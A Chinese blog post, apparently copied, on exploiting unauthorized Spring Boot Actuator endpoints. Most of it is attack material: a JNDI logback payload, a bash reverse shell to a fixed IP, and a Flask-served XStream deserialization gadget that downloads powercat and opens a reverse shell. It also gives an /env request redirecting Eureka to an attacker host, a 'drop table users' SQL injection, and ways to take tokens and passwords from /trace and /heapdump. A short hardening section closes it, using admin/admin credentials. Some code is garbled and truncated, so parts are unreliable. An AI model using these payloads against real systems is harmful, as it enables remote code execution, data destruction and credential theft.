Springboot之actuator未授权访问
copy ⼦杰的哈,懒的写了
0x01
未授权访问可以理解为需要授权才可以访问的页⾯由于错误的配置等其他原因,导致其他⽤户可以直接访问,从⽽引发各种敏感信息泄露。
0x02 Spring Boot Actuator未授权访问
/dump - 显⽰线程转储(包括堆栈跟踪)
/autoconfig - 显⽰⾃动配置报告
/configprops - 显⽰配置属性
/trace - 显⽰最后⼏条HTTP消息(可能包含会话标识符)
/logfile - 输出⽇志⽂件的内容
/shutdown - 关闭应⽤程序
/info - 显⽰应⽤信息
/metrics - 显⽰当前应⽤的’指标’信息
/health - 显⽰应⽤程序的健康指标
/beans - 显⽰Spring Beans的完整列表
/mappings - 显⽰所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应⽤程序
当 web 应⽤程序出现 4xx、5xx 错误时显⽰类似以下页⾯就能确定当前 web 应⽤是使⽤了 springboot 框架。
1)通过'/ jolokia'执⾏远程代码
1.在VPS上创建l,logback中填写jndi服务,当调⽤时直接触发恶意class。
<configuration>
<insertFromJNDI env-entry-name="ldap://vps_ip:1389/jndi" as="appName" />
</configuration>
2.创建反弹shell的恶意class,并监听端⼝8081
javac Exploit.java -> Exploit.class
3.利⽤marshalsec创建jndi server地址指向恶意class监听的端⼝8081:
4.监听反弹shell端⼝:
2 Config modification via '/env'
当第⼀种不到logback配置可以尝试修改env配置⽂件进⾏xstream反序列化
前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
⽐如测试前台json报错泄露包名就是使⽤netflix:
需要以下2个包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
1.在VPS创建xstream⽂件,使⽤flask返回application/xml格式数据:
# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('raw.githubusercontent/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@ute('/xstream', defaults={'path': ''})
@ute('/xstream/<path:path>')
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="l.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="l.l.XMLMessage$XmlDataSource">
<is class="pto.CipherInputStream">
<cipher class="pto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>powershell</string>
<string>IEX (New-Object System.Net.Webclient).DownloadString('raw.githubusercontent/besimorhino/powercat/master/powercat.ps1');</string>                      <string>powercat -c [vps地址] -p 2333 -e cmd</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='172.31.245.127', port=2333)
2.启动服务:
python3 flask_xstream.py
3.写⼊配置:
POST /env HTTP/1.1
Host: 127.0.0.1:9090
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
eureka.client.serviceUrl.defaultZone=vps:2333/xstream
刷新触发[POST]:
⼀般情况需要等待3秒会有响应包,如果⽴即返回可能是服务缺少spring-boot-starter-actuator扩展包⽆法刷新漏洞则⽆法利⽤
获取反弹shell:
springframework和springboot
2) 这个主要通过访问/trace 路径获取⽤户认证字段信息
可能会在其 trace 路径下,除了记录有基本的 HTTP 请求信息可能有包括⽤户 token、cookie 等字段:
3) 这个主要通过/env 路径获取这些服务的配置信息修改配置信息
运⽓好会有mysql、mangodb 的⽤户名及密码
如果Spring Cloud Libraries在类路径中,则'/ env'端点允许修改Spring环境属性。注释为“ @ConfigurationProperties”的所有bean 都可以修改和重新绑定。我们可以控制的许多(但不是全部)属性列在'/ configprops'执⾏器端点上。
at.validationQuery = drop + table + users - 允许任何SQL查询,它将⾃动对当前数据库执⾏。它可以是任何语句,包括插⼊,更新或删除。
4) git 项⽬地址泄露
这个⼀般是在/health 路径,⽐如如下站点,访问其 health 路径可探测到站点 git 项⽬地址:
5) 这个⼀般是在/heapdump 路径获取后台⽤户账号密码泄露
访问/heapdump 路径,返回 GZip 压缩 hprof 堆转储⽂件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台⽤户的账号密码。
防范措施
如果上述请求接⼝不做任何安全限制,安全隐患显⽽易见。实际上Spring Boot也提供了安全限制功能。⽐如要禁⽤/env接⼝,则可设置如下:
如果只想打开⼀两个接⼝,那就先禁⽤全部接⼝,然后启⽤需要的接⼝:
另外也可以引⼊spring-boot-starter-security依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
在application.properties中指定actuator的端⼝以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗⼝,需要输⼊账号密码验证后才允许访问。
management.port=8099
abled=true
security.user.name=admin
security.user.password=admin

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。